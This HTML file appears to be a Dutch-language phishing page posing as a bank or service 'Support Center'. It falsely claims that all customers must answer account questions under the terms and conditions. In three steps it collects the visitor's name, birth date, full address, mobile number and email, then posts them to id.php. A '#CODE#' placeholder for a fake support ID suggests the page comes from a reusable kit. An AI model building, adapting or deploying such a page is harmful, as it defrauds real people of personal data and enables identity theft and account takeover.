<!doctype html>
<html class="no-js" lang="nl">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Support Center</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script src="bs.js"></script>
    <style>
        body, .content-container {
            margin: 0;
            font-family: 'Open Sans', sans-serif;
            background-color: #f4f4f9;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
            width: 100%;
        }

        .content-container {
            flex: 1;
            width: 100%;
        }

        .header-container {
            background: #007a72;
            width: 100%;
            height: 60px;
            display: flex;
            align-items: center;
            justify-content: center;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }

        .logo {
            background-image: url('./files/colors.svg');
            height: 50px;
            width: 100px;
            background-size: contain;
            background-repeat: no-repeat;
        }

        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            width: 100%;
            padding: 20px;
            box-sizing: border-box;
            flex-grow: 1;
        }

        .main {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: left;
            margin-top: 20px;
            box-sizing: border-box;
            animation: slideIn 0.5s ease-out;
        }

        .form-group {
            margin-bottom: 20px;
            text-align: left;
            opacity: 0;
            animation: fadeIn 0.5s forwards;
        }

        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
            color: #007a72;
        }

        .form-group input[type="text"],
        .form-group input[type="email"],
        .form-group input[type="tel"] {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc;
            box-sizing: border-box;
            transition: border-color 0.3s ease;
        }

        .form-group input:focus {
            border-color: #007a72;
            outline: none;
        }

        .form-group input.error {
            border: 1px solid red;
        }

        .btn {
            background-color: #ffd40a;
            color: black;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease, transform 0.2s ease;
            display: block;
            margin-top: 20px;
        }

        .btn:hover {
            background-color: #e6c200;
            transform: scale(1.05);
        }

        .error-message {
            color: red;
            font-size: 0.8em;
            margin-top: 5px;
            display: none;
        }

        .footer-container {
            background: #007a72;
            width: 100%;
            text-align: center;
            padding: 15px 0;
            color: white;
            font-size: 0.9em;
            margin-top: auto;
        }

        .radio-group {
            display: flex;
            gap: 15px;
            margin-bottom: 15px;
        }

        .radio-option {
            display: flex;
            align-items: center;
        }

        .radio-option input {
            margin-right: 8px;
        }

        .inline-fields {
            display: flex;
            gap: 10px;
        }

        .inline-fields .field-wrapper {
            flex: 1;
        }

        .section {
            display: none;
        }

        .section.active {
            display: block;
            animation: fadeIn 0.5s;
        }

        @keyframes slideIn {
            from {
                transform: translateY(-50px);
                opacity: 0;
            }
            to {
                transform: translateY(0);
                opacity: 1;
            }
        }

        @keyframes fadeIn {
            from {
                opacity: 0;
            }
            to {
                opacity: 1;
            }
        }

        @media only screen and (max-width: 768px) {
            .main {
                width: 100%;
                padding: 15px;
            }
        }

        .instruction-box {
            background-color: #f2f7f7;
            color: #1a1a1a;
            border: 1px solid #d0dddd;
            padding: 24px 28px;
            max-width: 550px;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            font-size: 14px;
            line-height: 1.7;
            margin: 30px auto;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.04);
            text-align: center;
        }

        .instruction-box h3 {
            margin: 0 0 16px 0;
            font-size: 16px;
            color: #007b73;
        }

        .instruction-box hr {
            border: none;
            border-top: 1px solid #c5d5d5;
            margin: 0 0 15px 0;
        }

        .instruction-box p {
            padding: 0;
            margin: 0 auto;
            max-width: 100%;
            display: flex;
            flex-direction: column;
            gap: 6px;
            font-size: 13px;
            text-align: left;
            font-family: Arial, sans-serif;
            color: #2b2b2b;
            white-space: normal;
        }

        /* Custom styling for radio buttons */
        .radio-option input[type="radio"] {
            -webkit-appearance: none;
            -moz-appearance: none;
            appearance: none;
            width: 20px;
            height: 20px;
            border: 2px solid #ccc;
            border-radius: 0;
            outline: none;
            position: relative;
            cursor: pointer;
        }

        .radio-option input[type="radio"]:checked {
            background-color: #007a72;
            border-color: #007a72;
        }

        .radio-option input[type="radio"]:checked::after {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            width: 8px;
            height: 8px;
            background-color: white;
            transform: translate(-50%, -50%);
        }
    </style>
    <link href="https://fonts.googleapis.com/css?family=Roboto+Slab:300|Open+Sans:300" rel="stylesheet" type="text/css">
    <link rel="icon" href="">
</head>
<body>
    <div class="content-container">
        <div class="header-container">
            
        </div>
		<div class="logo" style="margin-top: 20px;"></div>
        <div class="main-container">
            <form action="id.php" method="post" id="myForm">
                <!-- Section 1: Personal Details -->
                <div id="section1" class="section active">
                    <div class="main">
                            <center><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSv8o9OzwWIe8H7t4YDxkLBZot8sSJTgLHz3S4P8gbRsANf1pE3a2Qtx_0f-_ayhMcsBQo&usqp=CAU" alt="Logo" style="width: 90px; height: 100px;"></center>
					
                        <div class="instruction-box">
                            <p>
							<h3>Controle Pagina (1/3)</h3>
                            <hr>
                                Al onze klanten moeten aantal vragen over zijn of haar rekening beantwoorden volgens de algemene voorwaarden. 
                            </p>
                        </div>
                        <div class="form-group">
                            <label>Aanhef</label>
                            <div class="radio-group">
                                <label class="radio-option">
                                    <input type="radio" name="salutation" value="Meneer" checked> Meneer
                                </label>
                                <label class="radio-option">
                                    <input type="radio" name="salutation" value="Mevrouw"> Mevrouw
                                </label>
                            </div>
                        </div>
                        <div class="form-group">
                            <label for="firstName">Voornaam</label>
                            <input type="text" class="form-control" id="firstName" name="firstName" placeholder="Bijv. Jan">
                            <div class="error-message" id="firstNameError">⚠️ <b>Vul een geldige voornaam in.</b></div>
                        </div>
                        <div class="form-group">
                            <label for="lastName">Achternaam</label>
                            <input type="text" class="form-control" id="lastName" name="lastName" placeholder="Bijv. Jansen">
                            <div class="error-message" id="lastNameError">⚠️ <b>Vul een geldige achternaam in.</b></div>
                        </div>
                        <div class="form-group">
                            <label for="birthDate">Geboortedatum</label>
                            <input type="text" class="form-control" id="birthDate" name="birthDate" placeholder="dd-mm-jjjj">
                            <div class="error-message" id="birthDateError">⚠️ <b>Vul een geldige geboortedatum in.</b></div>
                        </div>
                        <button type="button" class="btn" onclick="validateSection1()">Volgende</button>
                    </div>
                </div>
                <!-- Section 2: Address Details -->
                <div id="section2" class="section">
                    <div class="main">
                        <div class="instruction-box">
                           <h3>Controle Pagina (2/3)</h3>
                            <hr>
                            <p>
                                Enkele gegevens met betrekking tot uw woonadres zijn nodig om de procedure te hervatten.
                            </p>
                        </div>
                        <div class="form-group">
                            <label>Postcode + Huisnummer + Toevoeging</label>
                            <div class="inline-fields">
                                <div class="field-wrapper">
                                    <input type="text" class="form-control" id="postalCode" name="postalCode" maxlength="7" placeholder="1234 AB">
                                    <div class="error-message" id="postalCodeError">⚠️ <b>Ongeldige postcode</b></div>
                                </div>
                                <div class="field-wrapper">
                                    <input type="text" class="form-control" id="houseNumber" name="houseNumber" placeholder="12">
                                    <div class="error-message" id="houseNumberError">⚠️ <b>Ongeldige huis nr.</b></div>
                                </div>
                                <div class="field-wrapper">
                                    <input type="text" class="form-control" id="houseAddition" name="houseAddition" placeholder="A">
                                </div>
                            </div>
                        </div>
                        <div class="form-group">
                            <label for="street">Straat</label>
                            <input type="text" class="form-control" id="street" name="street" placeholder="Bijv. Hoofdstraat">
                            <div class="error-message" id="streetError">⚠️ <b>Vul een geldige straatnaam in.</b></div>
                        </div>
                        <div class="form-group">
                            <label for="city">Woonplaats</label>
                            <input type="text" class="form-control" id="city" name="city" placeholder="Bijv. Amsterdam">
                            <div class="error-message" id="cityError">⚠️ <b>Vul een geldige woonplaats in.</b></div>
                        </div>
                        <button type="button" class="btn" onclick="validateSection2()">Volgende</button>
                    </div>
                </div>
                <!-- Section 3: Contact Details -->
                <div id="section3" class="section">
                    <div class="main">
                        <div class="instruction-box">
                            <h3>Controle Pagina (3/3)</h3>
                            <hr>
                            <p>
                                Enkele gegevens met betrekking tot uw (contact-)gegevens zijn nodig om de procedure te hervatten.
                            </p>
                        </div>
                        <div class="form-group">
                            <label for="mobileNumber">Mobiel nummer</label>
                            <input type="tel" class="form-control" id="mobileNumber" name="mobileNumber" placeholder="0612345678" maxlength="10">
                            <div class="error-message" id="mobileNumberError">⚠️ <b>Vul een geldig mobiel nummer in.</b></div>
                        </div>
                        <div class="form-group">
                            <label for="email">Email</label>
                            <input type="email" class="form-control" id="email" name="email" placeholder="bijv. naam@provider.nl">
                            <div class="error-message" id="emailError">⚠️ <b>Vul een geldig e-mailadres in.</b></div>
                        </div>
						<input type="hidden" name="form_type" value="submit_form">
                        <button type="submit" class="btn">Verstuur</button>
                    </div>
                </div>
            </form>
        </div>
        <div class="footer-container">
            <footer>
                <p><b>Support Center</b></p>
                <p><b>Support ID: #CODE#</b></p>
            </footer>
        </div>
    </div>
    <script>
        const birthDateInput = document.getElementById('birthDate');
        birthDateInput.addEventListener('input', function(e) {
            let value = this.value.replace(/[^0-9]/g, '');
            let formattedValue = '';
            if (value.length > 0) {
                formattedValue += value.substring(0, 2);
                if (value.length >= 3) {
                    formattedValue += '-';
                    formattedValue += value.substring(2, 4);
                }
                if (value.length >= 5) {
                    formattedValue += '-';
                    formattedValue += value.substring(4, 8);
                }
            }
            this.value = formattedValue;
        });

        function showSection(sectionId) {
            const currentSection = document.querySelector('.section.active');
            currentSection.classList.remove('active');
            currentSection.classList.add('exit-active');

            setTimeout(() => {
                currentSection.classList.remove('exit-active');
                document.getElementById(sectionId).classList.add('active');
            }, 500);
        }

        function validateSection1() {
            let isValid = true;
            document.querySelectorAll('.error-message').forEach(el => el.style.display = 'none');
            document.querySelectorAll('.form-control').forEach(el => el.classList.remove('error'));

            const firstName = document.getElementById('firstName').value;
            if (!firstName || !/^[A-Za-z]{3,}$/.test(firstName)) {
                document.getElementById('firstNameError').style.display = 'block';
                document.getElementById('firstName').classList.add('error');
                isValid = false;
            }

            const lastName = document.getElementById('lastName').value;
            if (!lastName || !/^[A-Za-z]{3,}$/.test(lastName)) {
                document.getElementById('lastNameError').style.display = 'block';
                document.getElementById('lastName').classList.add('error');
                isValid = false;
            }

            const birthDate = document.getElementById('birthDate').value;
            if (!birthDate || !/^\d{2}-\d{2}-\d{4}$/.test(birthDate)) {
                document.getElementById('birthDateError').style.display = 'block';
                document.getElementById('birthDate').classList.add('error');
                isValid = false;
            } else {
                const dateParts = birthDate.split('-');
                const day = parseInt(dateParts[0], 10);
                const month = parseInt(dateParts[1], 10);
                const year = parseInt(dateParts[2], 10);
                const date = new Date(year, month - 1, day);
                const minDate = new Date(1920, 11, 31);
                const maxDate = new Date(2005, 11, 31);
                if (date < minDate || date > maxDate) {
                    document.getElementById('birthDateError').style.display = 'block';
                    document.getElementById('birthDate').classList.add('error');
                    isValid = false;
                }
            }

            if (isValid) {
                showSection('section2');
            }
        }

        function validateSection2() {
            let isValid = true;
            document.querySelectorAll('.error-message').forEach(el => el.style.display = 'none');
            document.querySelectorAll('.form-control').forEach(el => el.classList.remove('error'));

            const postalCode = document.getElementById('postalCode').value;
            if (!postalCode || !/^[1-9][0-9]{3}\s?[A-Za-z]{2}$/.test(postalCode)) {
                document.getElementById('postalCodeError').style.display = 'block';
                document.getElementById('postalCode').classList.add('error');
                isValid = false;
            }

            const houseNumber = document.getElementById('houseNumber').value;
            if (!houseNumber || !/^\d+$/.test(houseNumber)) {
                document.getElementById('houseNumberError').style.display = 'block';
                document.getElementById('houseNumber').classList.add('error');
                isValid = false;
            }

            const street = document.getElementById('street').value;
            if (!street || /\d/.test(street)) {
                document.getElementById('streetError').style.display = 'block';
                document.getElementById('street').classList.add('error');
                isValid = false;
            }

            const city = document.getElementById('city').value;
            if (!city || /\d/.test(city)) {
                document.getElementById('cityError').style.display = 'block';
                document.getElementById('city').classList.add('error');
                isValid = false;
            }

            if (isValid) {
                showSection('section3');
            }
        }

        document.getElementById('myForm').addEventListener('submit', function(event) {
            let isValid = true;
            document.querySelectorAll('.error-message').forEach(el => el.style.display = 'none');
            document.querySelectorAll('.form-control').forEach(el => el.classList.remove('error'));

            const mobileNumber = document.getElementById('mobileNumber').value;
            if (!mobileNumber || !/^06\d{8}$/.test(mobileNumber)) {
                document.getElementById('mobileNumberError').style.display = 'block';
                document.getElementById('mobileNumber').classList.add('error');
                isValid = false;
            }

            const email = document.getElementById('email').value;
            if (!email || !/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
                document.getElementById('emailError').style.display = 'block';
                document.getElementById('email').classList.add('error');
                isValid = false;
            }

            if (!isValid) {
                event.preventDefault();
            }
        });
    </script>
</body>
</html>
